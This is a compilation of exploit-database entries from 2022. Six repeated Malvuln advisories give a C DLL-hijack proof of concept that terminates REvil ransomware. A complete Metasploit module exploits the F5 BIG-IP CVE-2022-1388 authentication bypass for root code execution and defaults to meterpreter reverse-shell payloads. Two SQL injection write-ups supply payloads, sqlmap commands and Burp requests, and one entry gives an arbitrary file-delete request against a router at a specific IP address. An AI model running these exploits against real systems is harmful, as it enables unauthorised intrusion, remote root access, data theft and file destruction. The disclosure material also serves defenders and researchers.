<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/daab2c9d58acc367032f32bb8097e310.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: daab2c9d58acc367032f32bb8097e310<br />Vuln ID: MVID-2022-0600<br />Disclosure: 05/12/2022 <br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/ab1aaa8f96c61684736da00ece5a9c83.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: ab1aaa8f96c61684736da00ece5a9c83<br />Vuln ID: MVID-2022-0599<br />Disclosure: 05/12/2022<br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/c9bf7216cdc2673bf4ee2af8b19bcfc8.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: c9bf7216cdc2673bf4ee2af8b19bcfc8<br />Vuln ID: MVID-2022-0598<br />Disclosure: 05/12/2022<br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/7ff073cc9e4e6750ba52135ba02ee531.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: 7ff073cc9e4e6750ba52135ba02ee531<br />Vuln ID: MVID-2022-0597<br />Disclosure: 05/12/2022<br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/7a96d7a1f28bfb6ae36a15263a8a7135.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: 7a96d7a1f28bfb6ae36a15263a8a7135<br />Vuln ID: MVID-2022-0595<br />Disclosure: 05/12/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',<br /> 'Description' => %q{<br /> This module exploits an authentication bypass vulnerability<br /> in the F5 BIG-IP iControl REST service to gain access to the<br /> admin account, which is capable of executing commands<br /> through the /mgmt/tm/util/bash endpoint.<br /><br /> Successful exploitation results in remote code execution<br /> as the root user.<br /> },<br /> 'Author' => [<br /> 'Heyder Andrade', # Metasploit module<br /> 'alt3kx <alt3kx[at]protonmail.com>', # PoC<br /> 'James Horseman', # Technical Writeup<br /> 'Ron Bowes' # Documentation of exploitation specifics<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-1388'],<br /> ['URL', 'https://support.f5.com/csp/article/K23605346'],<br /> ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup<br /> ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'DisclosureDate' => '2022-05-04', # Vendor advisory<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :linux_dropper,<br /> 'DefaultOptions' => {<br /> 'CMDSTAGER::FLAVOR' => :bourne,<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true,<br /> 'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.<br /> 'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session<br /> 'SideEffects' => [<br /> IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)<br /> ARTIFACTS_ON_DISK # CmdStager<br /> ]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),<br /> OptString.new('HttpUsername', [true, 'iControl username', 'admin']),<br /> OptString.new('HttpPassword', [true, 'iControl password', ''])<br /> ]<br /> )<br /> register_advanced_options([<br /> OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])<br /> ])<br /> end<br /><br /> def check<br /> print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),<br /> 'method' => 'GET'<br /> })<br /><br /> return CheckCode::Unknown unless res&.code == 401<br /><br /> body = res.get_json_document<br /><br /> return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'<br /><br /> signature = Rex::Text.rand_text_alpha(13)<br /> stub = "echo #{signature}"<br /> res = send_command(stub)<br /> return CheckCode::Safe unless res&.code == 200<br /><br /> body = res.get_json_document<br /><br /> return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'<br /><br /> return CheckCode::Vulnerable if body['commandResult'].chomp == signature<br /><br /> CheckCode::Safe<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /><br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> vprint_status("Executing command: #{cmd}")<br /><br /> res = send_command(cmd)<br /> unless res<br /> print_warning('Command execution timed out')<br /> return<br /> end<br /><br /> json = res.get_json_document<br /><br /> unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'<br /> fail_with(Failure::PayloadFailed, 'Failed to execute command')<br /> end<br /><br /> print_good('Successfully executed command')<br /><br /> return unless (cmd_result = json['commandResult'])<br /><br /> vprint_line(cmd_result)<br /> end<br /><br /> def send_command(cmd)<br /> bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),<br /> 'ctype' => 'application/json',<br /> 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),<br /> 'headers' => {<br /> 'Host' => 'localhost',<br /> 'Connection' => 'keep-alive, X-F5-Auth-Token',<br /> 'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)<br /> },<br /> 'data' => {<br /> 'command' => 'run',<br /> 'utilCmdArgs' => "-c '#{bash_cmd}'"<br /> }.to_json<br /> }, datastore['CmdExecTimeout'])<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: College Management System - 'course_code' SQL Injection (Authenticated)<br /># Date: 2022-24-03<br /># Exploit Author: Eren Gozaydin<br /># Vendor Homepage: https://code-projects.org/college-management-system-in-php-with-source-code/<br /># Software Link: https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f<br /># Version: 1.0<br /># Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51<br /># CVE: CVE-2022-28079<br /># References: https://nvd.nist.gov/vuln/detail/CVE-2022-28079<br /><br />------------------------------------------------------------------------------------<br /><br />1. Description:<br />----------------------<br /><br />College Management System 1.0 allows SQL Injection via parameter 'course_code' in<br />/College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise<br />the application, access or modify data, or exploit latent vulnerabilities<br />in the underlying database.<br /><br /><br />2. Proof of Concept:<br />----------------------<br /><br />In Burpsuite intercept the request from the affected page with<br />'course_code' parameter and save it like poc.txt Then run SQLmap to extract the<br />data from the database:<br /><br />sqlmap -r poc.txt --dbms=mysql<br /><br /><br />3. Example payload:<br />----------------------<br /><br />boolean-based blind<br />Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ<br /><br /><br />4. Burpsuite request:<br />----------------------<br /><br />POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1<br />Host: localhost<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-us,en;q=0.5<br />Cache-Control: no-cache<br />Content-Length: 80<br />Content-Type: application/x-www-form-urlencoded<br />Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe<br />Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36<br /><br />submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns<br /><br /></code></pre>
<pre><code># Exploit Title: TLR-2005KSH - Arbitrary File Delete<br /># Date: 2022-05-11<br /># Exploit Author: Ahmed Alroky<br /># Author Company : AIactive<br /># Version: 1.0.0<br /># Vendor home page : http://telesquare.co.kr/<br /># Authentication Required: No<br /># Tested on: Windows<br /># CVE: CVE-2021-46424<br /><br /># Proof-of-Concept<br /># Request<br /><br />DELETE /cgi-bin/test2.txt HTTP/1.1<br />Host: 220.89.223.215:8083<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/8ca35b7867e23a1bbb0fea6d51fc1b61.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.REvil<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can hijack a vuln DLL, execute our own code, control and terminate the malware pre-encryption. The exploit dll checks if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signatures or third-party products, the malwares flaw does the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: 8ca35b7867e23a1bbb0fea6d51fc1b61<br />Vuln ID: MVID-2022-0596<br />Disclosure: 05/12/2022<br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "REvil\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)<br /># Date: 2022-26-03<br /># Exploit Author: Eren Gozaydin<br /># Vendor Homepage: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip<br /># Version: 1.0<br /># Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51<br /># CVE: CVE-2022-28080<br /># References: https://nvd.nist.gov/vuln/detail/CVE-2022-28080<br /><br />------------------------------------------------------------------------------------<br /><br />1. Description:<br />----------------------<br /><br />Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in<br />/royal_event/btndates_report.php#?= Exploiting this issue could allow an attacker to compromise<br />the application, access or modify data, or exploit latent vulnerabilities<br />in the underlying database.<br /><br /><br />2. Proof of Concept:<br />----------------------<br /><br />In Burpsuite intercept the request from the affected page with<br />'todate' parameter and save it like poc.txt. Then run SQLmap to extract the<br />data from the database:<br /><br />sqlmap -r poc.txt --dbms=mysql<br /><br /><br />3. Example payload:<br />----------------------<br /><br />(boolean-based)<br /><br />-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns <br /><br />4. Burpsuite request:<br />----------------------<br /><br />POST /royal_event/btndates_report.php#?= HTTP/1.1<br />Host: localhost<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-us,en;q=0.5<br />Cache-Control: no-cache<br />Content-Length: 334<br />Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0<br />Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380<br />Referer: http://localhost/royal_event/btndates_report.php#?=<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36<br /><br />--f289a6438bcc45179bcd3eb7ddc555d0<br />Content-Disposition: form-data; name="todate"<br /><br />-1' OR 1=1 OR 'ns'='ns<br />--f289a6438bcc45179bcd3eb7ddc555d0<br />Content-Disposition: form-data; name="search"<br /><br />3<br />--f289a6438bcc45179bcd3eb7ddc555d0<br />Content-Disposition: form-data; name="fromdate"<br /><br />01/01/2011<br />--f289a6438bcc45179bcd3eb7ddc555d0--<br /><br /></code></pre>